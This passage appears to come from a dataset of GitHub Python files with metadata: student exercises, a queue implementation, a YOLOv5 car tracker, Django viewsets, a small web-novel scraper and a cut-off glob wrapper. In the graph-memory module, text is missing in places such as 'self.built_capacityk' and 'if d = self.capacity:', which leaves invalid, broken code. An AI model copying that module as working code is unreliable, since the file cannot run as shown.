Rewards.py","file_ext":"py","file_size_in_byte":1373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"15780428048","text":"def colour_mixer():\n \"\"\"Takes an input and produces one of four strings depending on it\"\"\"\n colour = input(\"Enter your first colour:\").strip().capitalize()\n colour_2 = input(\"Enter your second colour:\").strip().capitalize()\n if colour == \"Red\" and colour_2 == \"Blue\":\n print(\"Your secondary colour is purple.\")\n elif colour == \"Yellow\" and colour_2 == \"Red\":\n print(\"Your secondary colour is orange.\")\n elif colour == \"Blue\" and colour_2 == \"Yellow\":\n print(\"Your secondary colour is green.\")\n else:\n print(\"Invalid input and/or colour combination.\")\n return\n\n\n\"\"\"\nReturn the colour combination from two inputted values.\n\n:precondition: Must input the correct three colours\n:postcondition: Output a string based on the colours inputted\n:return: A string containing the colour combination\n\"\"\"\n\n\ndef main():\n \"\"\"Executes the program\"\"\"\n colour_mixer()\n return\n\n\nif __name__ == \"__main__\":\n main()\n\"\"\"\nI used pattern matching and abstraction for this function. The pattern matching was to match each of the two inputs to \ntheir corresponding colour, seeing if the correct two colours were inputted. The abstraction in this function is that \nonly the result of what two strings you inputted is shown to you. No other information is displayed or printed. \n\"\"\"","repo_name":"jkcadee/A01166243_1510_assignments","sub_path":"A1/colour_mixer.py","file_name":"colour_mixer.py","file_ext":"py","file_size_in_byte":1318,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"71375786600","text":"\"\"\"\nhttps://www.hackerrank.com/challenges/queue-using-two-stacks\n\nIn this challenge, you must first implement a queue using two stacks. Then process queries, where each query is one of the following types:\n\n 1 x: Enqueuee element into the end of the queue.\n 2: Dequeue the element at the front of the queue.\n 3: Print the element at the front of the queue.\n\nSample input:\n10\n1 42\n2\n1 14\n3\n1 28\n3\n1 60\n1 78\n2\n2\n\nSample output:\n14\n14\n\"\"\"\nimport fileinput\n\n\ndef data_stream():\n for line in fileinput.input():\n line = line.strip().split(' ')\n yield map(int, line)\n\n\nclass Queue(object):\n def __init__(self):\n self.newest_on_top = []\n self.oldest_on_top = []\n\n def shift_stacks(self):\n self.oldest_on_top = list(reversed(self.newest_on_top))\n self.newest_on_top = []\n\n def enqueue(self, number):\n self.newest_on_top.append(number)\n\n def dequeue(self):\n if not self.oldest_on_top:\n self.shift_stacks()\n return self.oldest_on_top.pop()\n\n def peak(self):\n if not self.oldest_on_top:\n self.shift_stacks()\n print(self.oldest_on_top[-1])\n\n\ndef process():\n queue = Queue()\n stream = data_stream()\n next(stream)\n for query in stream:\n if query[0] == 1:\n queue.enqueue(query[1])\n elif query[0] == 2:\n queue.dequeue()\n elif query[0] == 3:\n queue.peak()\n else:\n raise Exception()\n\nprocess()\n\n\n# Tests\nq = Queue()\nq.enqueue(1)\nprint('expect 1')\nq.peak()\nq.enqueue(2)\nq.enqueue(3)\nprint('expect 1')\nq.peak()\nassert q.dequeue() == 1\nassert q.dequeue() == 2\nq.enqueue(10)\nprint('expect 3')\nq.peak()\nassert q.dequeue() == 3\nassert q.dequeue() == 10\n","repo_name":"liavkoren/hackerrank","sub_path":"queue_two_stacks.py","file_name":"queue_two_stacks.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"157653276","text":"# -*- coding: utf-8 -*-\n\"\"\"\n Created on 2021/11/9 21:12\n Filename : tracker_anti_running_car.py\n Author : Taosy.W\n Zhihu : https://www.zhihu.com/people/1105936347\n Github : https://github.com/AFei19911012/PythonSamples\n Description:\n\"\"\"\n\n# =======================================================\nimport cv2\nimport numpy as np\nimport torch\nimport os\n\n\nfrom deep_sort.deep_sort import DeepSort\nfrom deep_sort.utils.parser import get_config\nfrom yolov5_detector import YOLOv5Detector\n\nos.environ['KMP_DUPLICATE_LIB_OK'] = 'TRUE'\n\n\ndef draw_image(image, bbox_container, obj_ids, path_cars):\n \"\"\" 绘制车标签 \"\"\"\n \"\"\" 线宽 \"\"\"\n tl = 2 or round(0.002 * (image.shape[0] + image.shape[1]) / 2) + 1\n for i, bbox in enumerate(bbox_container):\n label = bbox['class']\n x1, y1, x2, y2 = bbox['box']\n c1, c2 = (x1, y1), (x2, y2)\n color = (0, 0, 255)\n cv2.rectangle(image, c1, c2, color, thickness=tl, lineType=cv2.LINE_AA)\n \"\"\" 字体宽度 \"\"\"\n tf = max(tl - 1, 1)\n label_show = f'{label}-{obj_ids[i]}'\n \"\"\" 判断行进方向 \"\"\"\n\n t_size = cv2.getTextSize(label_show, 0, fontScale=tl/3, thickness=tf)[0]\n c2 = c1[0] + t_size[0], c1[1] - t_size[1] - 3\n \"\"\" filled \"\"\"\n cv2.rectangle(image, c1, c2, color, cv2.FILLED, cv2.LINE_AA)\n cv2.putText(image, label_show, (c1[0], c1[1] - 2), 0, tl/3, [225, 255, 255], thickness=tf, lineType=cv2.LINE_AA)\n\n \"\"\" 绘制每个目标的运动轨迹 \"\"\"\n for obj_id in obj_ids:\n pts = np.array(path_cars[obj_id - 1], np.int32)\n cv2.polylines(image, [pts], False, (0, 255, 0), 3)\n\n\ndef xyxy_to_xywh(box):\n \"\"\" 目标框转换 \"\"\"\n x1, y1, x2, y2 = box\n w = x2 - x1\n h = y2 - y1\n x_c = int(x1 + w/2)\n y_c = int(y1 + h/2)\n return [x_c, y_c, w, h]\n\n\ndef cut_bbox_container(bbox_container):\n \"\"\" 只保留车信息 \"\"\"\n container = []\n for bbox in bbox_container:\n label = bbox['class']\n confidence = bbox['confidence']\n box = bbox['box']\n if label in ['car', 'bus', 'truck']:\n container.append({'class': 'car', 'confidence': confidence, 'box': box})\n return container\n\n\ndef main():\n video_name = 'car.mp4'\n # video_name = 'car.mp4'\n cap = cv2.VideoCapture(f'data/videos/{video_name}')\n fource = cv2.VideoWriter_fourcc(*'mp4v')\n width = int(cap.get(cv2.CAP_PROP_FRAME_WIDTH))\n height = int(cap.get(cv2.CAP_PROP_FRAME_HEIGHT))\n vid_writer = cv2.VideoWriter(f'runs/track/{video_name}.mp4', fource, 30, (width, height))\n \"\"\" yolov5 目标检测器 \"\"\"\n yolov5_detector = YOLOv5Detector()\n \"\"\" deepsort 追踪器 \"\"\"\n cfg = get_config()\n cfg.merge_from_file(\"deep_sort/configs/deep_sort.yaml\")\n deepsort = DeepSort(cfg.DEEPSORT.REID_CKPT,\n max_dist=cfg.DEEPSORT.MAX_DIST,\n min_confidence=cfg.DEEPSORT.MIN_CONFIDENCE,\n nms_max_overlap=cfg.DEEPSORT.NMS_MAX_OVERLAP,\n max_iou_distance=cfg.DEEPSORT.MAX_IOU_DISTANCE,\n max_age=cfg.DEEPSORT.MAX_AGE,\n n_init=cfg.DEEPSORT.N_INIT,\n nn_budget=cfg.DEEPSORT.NN_BUDGET,\n use_cuda=True)\n window_name = 'Anti Running Car Tracking'\n\n # 每个目标记录 target_point_count 个点,据此判断行进方向\n target_point_count = 10\n path_cars = []\n\n while True:\n state, frame = cap.read()\n if not state:\n break\n \"\"\" 检测目标 \"\"\"\n image, bbox_container = yolov5_detector(frame)\n \"\"\" 仅保留车信息\"\"\"\n bbox_container = cut_bbox_container(bbox_container)\n \"\"\" 初始化一些变量 \"\"\"\n xywh_bboxs = []\n labels = []\n confs = []\n for bbox in bbox_container:\n xywh_bboxs.append(xyxy_to_xywh(bbox['box']))\n labels.append(bbox['class'])\n confs.append(bbox['confidence'])\n \"\"\" 检测到目标后才有追踪 \"\"\"\n if labels:\n \"\"\" detections --> deepsort \"\"\"\n xywhs = torch.Tensor(xywh_bboxs)\n confss = torch.Tensor(confs)\n outputs = deepsort.update(xywhs, confss, labels, frame)\n obj_ids = []\n bbox_draw = []\n if len(outputs) > 0:\n for (x1, y1, x2, y2, label, track_id) in outputs:\n bbox_draw.append({'class': label, 'box': [x1, y1, x2, y2]})\n obj_ids.append(track_id)\n\n \"\"\" 记录所有目标的路径 每个目标记录点数为 target_point_count \"\"\"\n while track_id > len(path_cars):\n path_cars.append([])\n path_cars[track_id - 1].append((0.5 * (x1 + x2), 0.5 * (y1 + y2)))\n while len(path_cars[track_id - 1]) > target_point_count:\n path_cars[track_id - 1].remove(path_cars[track_id - 1][0])\n\n \"\"\" 绘图显示 \"\"\"\n draw_image(frame, bbox_draw, obj_ids, path_cars)\n \"\"\" 输出一些信息 \"\"\"\n for info in bbox_draw:\n print(info)\n print(obj_ids)\n print('---')\n cv2.imshow(window_name, frame)\n vid_writer.write(frame)\n cv2.waitKey(1)\n \"\"\" 点 x 退出 \"\"\"\n if cv2.getWindowProperty(window_name, cv2.WND_PROP_AUTOSIZE) < 1:\n break\n cap.release()\n vid_writer.release()\n cv2.destroyAllWindows()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"AFei19911012/PythonSamples","sub_path":"yolov5/tracker_anti_running_car.py","file_name":"tracker_anti_running_car.py","file_ext":"py","file_size_in_byte":5576,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"18"} +{"seq_id":"11684647426","text":"import distro, utils, random, math\n\ndef _solver(stats):\n (mu, sig2) = distro.extractStats(stats, [distro.Stat.Mu, distro.Stat.Sig2])\n d = math.sqrt(3*sig2)\n a = mu-d\n b = mu+d\n return (a, b)\n\n\n\ndistro.register(\n name = 'Uniform Continuous',\n domain = distro.Domain.Continuous,\n params = ('a', 'b'),\n paramSolver = _solver,\n cdf = lambda x, a, b : (x-a)/(b-a),\n sample = lambda a, b : random.random()*(b-a)+a,\n fittingFns = {\n distro.Stat.Skew: lambda a, b : 0,\n distro.Stat.Kurt: lambda a, b : -1.2+3,\n distro.Stat.Med: lambda a, b : float(a+b)/2\n }\n)\n","repo_name":"jscheiny/oepd","sub_path":"src/uniform_continuous.py","file_name":"uniform_continuous.py","file_ext":"py","file_size_in_byte":643,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"39248243526","text":"from events.handlers.base import EventHandler\n\n\nclass CreateClassHandler(EventHandler):\n \"\"\"Take care of all events and push event for profile update changes\"\"\"\n\n event_types = [\"created_class\", ]\n\n def handle(self):\n from gatekeeper.tasks import notify_new_class\n\n self.add_to_buddies_news_feed()\n school_id = self.cleaned_event[\"data\"][\"school_id\"]\n self.add_to_schoolmates_news_feed(school_id)\n class_id = self.cleaned_event[\"data\"][\"id\"]\n self.add_to_class_news_feed(class_id)\n\n self.increment(\"total_classes\")\n\n notify_new_class(self.cleaned_event[\"creator\"], self.cleaned_event)\n\n\nclass AddClassHandler(EventHandler):\n \"\"\"Take care of all events and push event for class adds\"\"\"\n\n event_types = [\"added_class\", ]\n\n def handle(self):\n self.add_to_my_news_feed()\n\n # Main event adds to /users/me/classes\n class_id = self.cleaned_event[\"data\"][\"course_id\"]\n\n self.add_to_class_students(class_id)\n self.add_to_class_news_feed(class_id)\n self.add_to_buddies_news_feed()\n\n\nclass DropClassHandler(EventHandler):\n \"\"\"Take care of all events and push event for class drops\"\"\"\n\n event_types = [\"dropped_class\", ]\n\n def handle(self):\n class_id = self.cleaned_event[\"data\"][\"course_id\"]\n self.remove_from_class_students(class_id)\n\n # We could, but I'm not conviced we should do anything quite yet.\n # self.add_to_class_news_feed()\n # self.add_to_buddies_news_feed()\n pass\n","repo_name":"buddyup/api","sub_path":"api/project/apps/events/handlers/events/classes.py","file_name":"classes.py","file_ext":"py","file_size_in_byte":1533,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"23842513990","text":"\"\"\"View module for handling requests about games\"\"\"\nfrom django.core.exceptions import ValidationError\nfrom rest_framework import status\nfrom django.http import HttpResponseServerError\nfrom rest_framework.viewsets import ViewSet\nfrom rest_framework.response import Response\nfrom rest_framework import serializers\nfrom rest_framework import status\nfrom trainingwellapi.models import Account, Benchmark, Exercise, ExerciseType\nfrom django.db.models import Count\n\n\nclass Benchmarks(ViewSet):\n \n\n def create(self, request):\n \"\"\"Handle POST operations\n\n Returns:\n Response -- JSON serialized benchmark instance\n \"\"\"\n account = Account.objects.get(user=request.auth.user)\n\n # Create a new Python instance of the benchmark class\n # and set its properties from what was sent in the\n # body of the request from the client.\n benchmark = Benchmark()\n benchmark.notes = request.data[\"notes\"]\n benchmark.reps = request.data[\"reps\"]\n benchmark.weight = request.data[\"weight\"]\n benchmark.date = request.data[\"date\"]\n \n exercise = Exercise.objects.get(pk=request.data['exercise_id'])\n benchmark.exercise = exercise\n benchmark.account = account\n \n\n # Try to save the new benchmark to the database, then\n # serialize the benchmark instance as JSON, and send the\n # JSON as a response to the client request\n try:\n benchmark.save()\n serializer = BenchmarkSerializer(benchmark, context={'request': request})\n return Response(serializer.data)\n\n # If anything went wrong, catch the exception and\n # send a response with a 400 status code to tell the\n # client that something was wrong with its request data\n except ValidationError as ex:\n return Response({\"reason\": ex.message}, status=status.HTTP_400_BAD_REQUEST)\n\n\n\n def retrieve(self, request, pk=None):\n \"\"\"Handle GET requests for single benchmark\n\n Returns:\n Response -- JSON serialized benchmark instance\n \"\"\"\n try:\n # `pk` is a parameter to this function, and\n # Django parses it from the URL route parameter\n # http://localhost:8000/benchmarks/2\n #\n # The `2` at the end of the route becomes `pk`\n benchmark = Benchmark.objects.get(pk=pk)\n serializer = BenchmarkSerializer(benchmark, context={'request': request})\n return Response(serializer.data)\n except Exception as ex:\n return HttpResponseServerError(ex)\n\n def update(self, request, pk=None):\n \"\"\"Handle PUT requests for a benchmark\n\n Returns:\n Response -- Empty body with 204 status code\n \"\"\"\n\n account = Account.objects.get(user=request.auth.user) \n # Do mostly the same thing as POST, but instead of\n # creating a new instance of benchmark, get the benchmark record\n # from the database whose primary key is `pk`\n benchmark = Benchmark.objects.get(pk=pk)\n\n # Create a new Python instance of the benchmark class\n # and set its properties from what was sent in the\n # body of the request from the client.\n \n benchmark.notes = request.data[\"notes\"]\n benchmark.reps = request.data[\"reps\"]\n benchmark.weight = request.data[\"weight\"]\n benchmark.date = request.data[\"date\"]\n \n exercise = Exercise.objects.get(pk=request.data['exercise_id'])\n benchmark.exercise = exercise\n benchmark.account = account\n benchmark.save()\n\n # 204 status code means everything worked but the\n # server is not sending back any data in the response\n return Response({}, status=status.HTTP_204_NO_CONTENT)\n\n def destroy(self, request, pk=None):\n \"\"\"Handle DELETE requests for a single benchmark\n\n Returns:\n Response -- 200, 404, or 500 status code\n \"\"\"\n try:\n benchmark = Benchmark.objects.get(pk=pk)\n benchmark.delete()\n\n return Response({}, status=status.HTTP_204_NO_CONTENT)\n\n except benchmark.DoesNotExist as ex:\n return Response({'message': ex.args[0]}, status=status.HTTP_404_NOT_FOUND)\n\n except Exception as ex:\n return Response({'message': ex.args[0]}, status=status.HTTP_500_INTERNAL_SERVER_ERROR)\n\n def list(self, request):\n \"\"\"Handle GET requests to benchmarks resource\n\n Returns:\n Response -- JSON serialized list of benchmarks\n \"\"\"\n \n #get all benchmarks but add an event_count field\n account = Account.objects.get(user=request.auth.user)\n benchmarks = Benchmark.objects.filter(account=account)\n\n \n\n serializer = BenchmarkSerializer(\n benchmarks, many=True, context={'request': request})\n return Response(serializer.data)\n \n \n\n \n \nclass BenchmarkSerializer(serializers.ModelSerializer):\n \"\"\"JSON serializer for benchmarks\n\n Arguments:\n serializer type\n \"\"\"\n class Meta:\n model = Benchmark\n fields = ('id', 'notes', 'exercise', 'reps', 'weight', 'date')\n depth = 2\n ","repo_name":"sullypierce/training-well-api","sub_path":"trainingwellapi/views/benchmark.py","file_name":"benchmark.py","file_ext":"py","file_size_in_byte":5276,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"10766701138","text":"\n'''\n#0330\n最简版本的图\n\n#0331\n由于每个动作一个图会存在单结点存入的时候对虚拟边冗余的情况,所以把整体的索引结构改成一个图\n\n不在区分状态是在哪个边上的\n\n所以需要:\n1. 改进annoy list的读写\n2. 改进图的结构\n3. 改进图的读写操作\n4. 重新构造网络的训练方法(应用到带编码��的结构中时)\n\n先测试 add pair\n再进行批量写入,批量写入主要是针对 n-step的时候要根据一条轨迹算回报\nquery 的时候 可以把多个动作的Q值都放到这里,但是这样进行训练的时候拿到的就是所有的,可能还要再分离出去\n\n# 0407\n引入轨迹的时候要把最末尾的状态加入,这样可以得到完整的图,此时的features比 actions 多了一个,因为最后一个状态上没有做动作\n\n#0407 \n重构的时候 returns 用的是R,而不是Q\n\n'''\n\n\nimport numpy as np\nfrom annoy import AnnoyIndex\nimport networkx as nx\n#from CanopyForNodeAttributes import Canopy as Cluster\nimport time\nimport multiprocessing\n\nclass Graph_dict():\n def __init__(self,capacity,key_dimension,act_dimension,dist_th,eta=0.01,batch_size=64):\n # 一个图带19个表,每个表是一种动作的特征集合\n # 一个图只带一个表,表中只存储现有节点\n self.capacity = capacity # 每个表的容量\n self.key_dimension = key_dimension\n self.act_dimension = act_dimension\n self.G = nx.DiGraph()\n self.node_features_list = np.zeros((capacity,key_dimension))\n self.indices_list = AnnoyIndex(key_dimension,metric='euclidean')\n \n self.initial_update_size = batch_size\n self.min_update_size = self.initial_update_size # 隔一段时间更新一次\n self.cached_keys = []\n self.cached_indices =[]\n\n self.lru = np.zeros(self.capacity)\n self.tm = 0.0\n self.curr_capacity =0\n self.built_capacity =0\n\n self.eta = eta # 控制边权的增长速度\n self.dist_th = dist_th\n self.gamma =0.9\n\n\n def Graphisfull(self):\n if self.built_capacityk and self.built_capacity>k:\n return True\n else:\n return False \n\n def _insert(self, keys, indices):\n self.cached_keys = self.cached_keys + keys\n self.cached_indices = self.cached_indices + indices\n \n if len(self.cached_indices) >= self.min_update_size:# 为啥设置这个阈值\n self.min_update_size = max(self.initial_update_size, self.curr_capacity*0.02)\n self._update_index()\n \n def _update_index(self):\n self.indices_list.unbuild()\n for i, ind in enumerate(self.cached_indices):\n new_key = self.cached_keys[i]\n self.node_features_list[ind,:] = new_key\n self.indices_list.add_item(ind,new_key)\n self.cached_keys = []\n self.cached_indices = []\n self.indices_list.build(50)\n self.built_capacity = self.curr_capacity\n\n def _refresh(self, keys, indices):\n pass\n # self.indices_list = AnnoyIndex(key_dimension,metric='euclidean')\n # # 重建一个list\n # # 找到所有的节点特征\n # # 用节点特征和编号重新构图\n\n def check_state_index(self,s):\n if self.queryable(1):\n ind,dist =self.indices_list.get_nns_by_vector(s,1,include_distances=True)# 找到最近的一个状态\n d = dist[0] # 读取它 的距离\n if d = self.capacity:\n #print(\"# 如果不是很近,但是图已经满了\")\n temp_index_s =np.argmin(self.lru)\n self.G.remove_node(temp_index_s)\n #self._refresh([key_s], [temp_index_s])\n key_s = s\n # 在索引表中替换掉原先的\n else:\n #print(\" # 不是很像,而且图没满\")\n temp_index_s = self.curr_capacity\n self.curr_capacity += 1\n key_s =s\n # 在索引表中新加一个\n\n else:\n #print(\"# 之前是个空的表\")\n temp_index_s = self.curr_capacity\n key_s =s \n self.curr_capacity += 1\n # 在索引表中新加一个\n self._insert([key_s], [temp_index_s])\n self.tm += 0.01 \n \n self.lru[temp_index_s] = self.tm\n return temp_index_s\n\n def add_by_pair(self,s,a,r,s_):\n\n # 这个比Q表多了一个定位过程,每次写入一条边\n start_node=self.check_state_index(s) # 通过观测查状态\n if start_node in self.G:\n pass\n else:\n self.G.add_node(start_node)\n end_node = self.check_state_index(s_)\n if start_node==end_node:\n return True\n if end_node in self.G: # 如果下一��节点存在\n if self.G.has_edge(start_node, end_node):# 看是否有边\n old_weight = self.G[start_node][end_node][\"weight\"]\n q_next = 0\n for edge_i in self.G.out_edges(end_node):\n if len(edge_i) == 0:\n continue\n if q_nextself.dist_th:# 距离太远了就不要了,Q值默认是0,Emb .默认也是【0 0 0 0】\n # continue # 这和上面求近邻的不能是统一个参数,否则的话就是小于T换掉,大于T不用,就剩自己了\n index = ind \n for edge_i in self.G.out_edges(index):\n if len(edge_i)==0:# 边是空的就不管了\n continue\n if self.G[edge_i[0]][edge_i[1]][\"label\"] == a: # 如果边的类型是a ,我们读取相应的Q值\n Q_s[i,j] = self.G[edge_i[0]][edge_i[1]][\"weight\"] \n Embs[i,:,:] = self.node_features_list[inds,:]\n self.lru[inds] = self.tm \n self.tm += 0.01\n\n return Q_s,Embs \n\n def GetKeyPointByDegree(self,num_center):\n # # 每个节点的出度,入度 加和,并除以 访问次数开根号\n # # 这只是众多可以找到关键节点的方法中的一种\n # # 先看看大家的出度入度都是什么量级的\n # print(nx.degree_histogram(self.G)) # [0, 2, 587, 31, 55, 18, 29, 15, 13, 12, 7, 3, 3, 2, 1, 1, 2, 0, 1] 是个统计图,表示出度为18的点有1个\n # # 我们可以对这个分布截尾10%,然后最低的那个作为阈值,得到相应的点,这些点的个数应该不会多\n # degree_th = len(nx.degree_histogram(self.G))*0.7\n # print(degree_th) \n # # 把这些点的频次拿出来,除,再取前50% 然后得到的就是出现次数不是很多,但是节点连接丰富的地方\n # # 重构的时候想办法按奖励找路径,同时还要考量一下中间节点个数不能太多\n N = np.sum(self.built_capacity)\n self.SI = np.zeros(self.capacity*self.act_dimension)\n #self.SU = np.zeros(self.capacity*self.act_dimension)\n for node in self.G.nodes():\n fb = len(self.G.in_edges(node)) # before\n fa = len(self.G.out_edges(node)) # after\n #ns = self.G.nodes[node][\"visit\"]\n #si = (fa+fb)/(np.sqrt(ns/N+1e-6))\n si = (fa+fb)\n #print(\"fb\",fb,\"fa\",fa,\"ns\",ns,\"ns/N\",ns/N,\"fa+fb\",fa+fb,\"Si\",si)\n self.SI[node]= si\n #self.SU[node]= fb+fa\n Sorted_si_ind = np.argsort(self.SI,axis=0)[-num_center:-1]\n # Sorted_si = self.SI[Sorted_si_ind]\n # Sorted_su_ind = np.argsort(self.SU,axis=0)[-20:-1]\n # Sorted_su = self.SU[Sorted_su_ind]\n # print(\"S si ind\",Sorted_si_ind,\"s si\",Sorted_si,\"\\n\",\"s su ind\",Sorted_su_ind,\"s su\",Sorted_su)\n center_list=list(Sorted_si_ind)\n return center_list\n \n def FindValuablePathbyLength(self,start_node,end_node):\n path =[]\n temp_actions = []\n temp_rewards = []\n if nx.algorithms.shortest_paths.generic.has_path(self.G,start_node,end_node):\n path = nx.shortest_path(self.G, start_node,end_node) \n temp_actions = []\n temp_weights = []\n for idx in range((len(path)-1)):\n pair_start = path[idx]\n pair_end = path[idx+1]\n temp_actions.append(self.G.edges[pair_start,pair_end]['label'])\n temp_rewards.append(self.G.edges[pair_start,pair_end]['reward'])# 这里不应该加入 当前的q值,而是用R\n #print(len(path),len(temp_actions),len(temp_weights)) # path会比action多一个,最后一个没算进去\n return path, temp_actions,temp_rewards\n\n def FindValuablePathbyReturns(self,start_node,end_node):\n path = []\n pass\n\n\n# 用来测试这个类的\nif __name__ == '__main__':\n # 用来对类内新增函数作简单测试\n G= Graph_dict(70,8,9) # 7个数据,每个数据的特征是8维,有9个动作\n # print(\"self.adj_matrix\",G.adj_matrix.shape)\n # print(\"self.weight_matrix\",G.weight_matrix.shape)\n # print(\"self.node_features \",G.node_features.shape)\n # print(\"self.node_attributes \",G.node_attributes.shape)\n\n embs = []\n acts = []\n rews = []\n for i in range(40):\n e = np.random.randn(8)\n a = np.random.randint(9)\n r = np.random.rand()\n embs.append(e)\n acts.append(a)\n rews.append(r)\n #print(embs,acts,rews)\n\n G.add_by_features(embs,acts,rews)\n # for i,a in enumerate(acts):\n # adjm = G.adj_matrix\n # weightm = G.weight_matrix\n # print(\"action \",a)\n # print(adjm[:,:,a])\n # #print(weightm[:,:,a])\n embs = []\n acts = []\n rews = []\n for i in range(50):\n e = np.random.randn(8)\n a = np.random.randint(9)\n r = np.random.rand()\n embs.append(e)\n acts.append(a)\n rews.append(r)\n #print(embs,acts,rews)\n\n G.add_by_features(embs,acts,rews)\n # for i,a in enumerate(acts):\n # adjm = G.adj_matrix\n # weightm = G.weight_matrix\n # print(\"action \",a)\n # print(adjm[:,:,a])\n # #print(weightm[:,:,a])\n embs = []\n acts = []\n rews = []\n for i in range(30):\n e = np.random.randn(8)\n a = np.random.randint(9)\n r = np.random.rand()\n embs.append(e)\n acts.append(a)\n rews.append(r)\n #print(embs,acts,rews)\n\n G.add_by_features(embs,acts,rews)\n # for i,a in enumerate(acts):\n # adjm = G.adj_matrix\n # weightm = G.weight_matrix\n # print(\"action \",a)\n # print(adjm[:,:,a])\n # #print(weightm[:,:,a])\n\n G.GraphCluster(5,4)","repo_name":"simayuhe/SampleEfficientRL_GBMR","sub_path":"Atari/GQ_V2/G_Dict0409.py","file_name":"G_Dict0409.py","file_ext":"py","file_size_in_byte":15908,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3021222740","text":"# Define input / output dimensions\nfrom .utils.serialisation import contains_required_keys\nfrom typing import List, Tuple\n\n__all__ = [\"Variable\", \"make_variable_set\"]\n\n\nclass Variable:\n def __init__(self, name=\"null\", minimum=0.0, maximum=1.0):\n self.name = name\n self.min_support = minimum\n self.max_support = maximum\n self._required_keys = [\"name\", \"min\", \"max\"]\n\n def from_dict(self, description: dict):\n if not contains_required_keys(description, self._required_keys):\n raise ValueError(f\"Invalid dictionary format\\n\"\n f\" - required keys: {','.join(self._required_keys)}\\n\"\n f\" - missing keys: {set(self._required_keys).difference(description.keys())}\")\n\n self.name = description[\"name\"]\n self.min_support = description[\"min\"]\n self.max_support = description[\"max\"]\n\n def to_dict(self) -> dict:\n return {\"name\": self.name, \"min\": self.min_support, \"max\": self.max_support}\n\n\ndef import_variables_from_file(f_name: str, format_string: str) -> List[Variable]:\n fmt_dict = \\\n {\n \"csv\": import_variables_from_csv,\n \"json\": import_variables_from_json\n }\n\n if format_string not in fmt_dict:\n raise ValueError(f\"Invalid format specified. Supported formats are {','.join(fmt_dict.keys())}\")\n return fmt_dict[format_string](f_name)\n\n\ndef import_variables_from_csv(f_name: str) -> List[Variable]:\n raise NotImplementedError(\"TODO\")\n\n\ndef import_variables_from_json(f_name: str) -> List[Variable]:\n raise NotImplementedError(\"TODO\")\n\n\n#\n# make_variable_set: Creates a set of named variable definitions based on the min/max limits\n#\n# To prevent some silent errors, LBYL is employed here\n#\ndef make_variable_set(v_count: int, prefix: str = \"x\", min_value: List[float] = None,\n max_value: List[float] = None) -> Tuple[Variable]:\n if min_value is None:\n min_value = [0.0] * v_count\n if max_value is None:\n max_value = [1.0] * v_count\n if isinstance(min_value, float):\n min_value = [min_value] * v_count\n if isinstance(max_value, float):\n max_value = [max_value] * v_count\n if not (len(min_value) == len(max_value) == v_count):\n raise ValueError(\"min_value and max_value must be the same length and contain v_count elements\")\n\n if v_count == 1:\n return tuple(Variable(name=f\"{prefix}\", minimum=min_value[0], maximum=max_value[0]))\n return tuple(Variable(name=f\"{prefix}{v + 1}\", minimum=v_min, maximum=v_max)\n for v, v_min, v_max in zip(range(v_count), min_value, max_value))\n","repo_name":"fentonscode/xEHM","sub_path":"src/xehm/_variables.py","file_name":"_variables.py","file_ext":"py","file_size_in_byte":2662,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"1635323974","text":"#Spyder\n\nimport requests\nemput = input('Website:')\nweb = requests.get(emput)\nweb.encoding = 'gb18030'\nfrom bs4 import BeautifulSoup\ntxt = BeautifulSoup(web.text,\"html.parser\")\na = txt.select('dd#contents')[0]\na = a.get_text().replace('
', '\\n')\nn = txt.select('dd > h1')[0]\nn = n.get_text().replace('
', ' ')\nn = n.replace('', ' ')\nn = n.replace('

', ' ')\n#print(n)\n#print(a)\ntt=(n+'\\n'+a)\nwith open(n+'.txt', 'w',encoding='gb18030') as text_file:\n text_file.write(tt)\n \n \n","repo_name":"YKPS-FooBar/Projects","sub_path":"008 - BookBao8 Chapter Crawler/ben-zhang.py","file_name":"ben-zhang.py","file_ext":"py","file_size_in_byte":498,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"24060511670","text":"\"\"\"\nMiska Pajukangas\nOpiskelijanumero: 150281685\n\nKysyy lukujen määrän sekä luvut ja etsii halutun luvun listasta\n\"\"\"\n\n\ndef main(): \n count = 0\n index = 0\n how_many = int(input(\"How many numbers do you want to process: \"))\n list = input_to_list(how_many)\n\n\n search = int(input(\"Enter the number to be searched: \"))\n for value in list:\n if value == search:\n count+=1\n \n if count > 0:\n print(f\"{search} shows up {count} times among the numbers you have entered.\")\n else:\n print(f\"{search} is not among the numbers you have entered.\")\n\ndef input_to_list(how_many):\n \"\"\"creates a list for the wanted amount of numbers and returns it\n \n :param how_many: int, the amount of numbers to be processed\n \"\"\"\n numbers = []\n print(f\"Enter {how_many} numbers: \")\n for _ in range(0,how_many,1):\n n = int(input())\n numbers.append(n)\n return numbers\n\nif __name__ == \"__main__\":\n main()","repo_name":"mpajuka/prog1","sub_path":"Viikko_5/Tehtava_5.4.1.py","file_name":"Tehtava_5.4.1.py","file_ext":"py","file_size_in_byte":976,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"3118915566","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\nglob.glob wrapper class for multi byte.\n\nHave a nice day:D\n\"\"\"\n\nimport glob\n\n\nclass MbGlob:\n # string mapping\n CONVERTER_MAP = {\n # before dict\n 'bf': [\n 'が', 'ぎ', 'ぐ', 'げ', 'ご',\n 'ざ', 'じ', 'ず', 'ぜ', 'ぞ',\n 'だ', 'ぢ', 'づ', 'で', 'ど',\n 'ば', 'び', 'ぶ', 'べ', 'ぼ',\n 'ガ', 'ギ', 'グ', 'ゲ', 'ゴ',\n 'ザ', 'ジ', 'ズ', 'ゼ', 'ゾ',\n 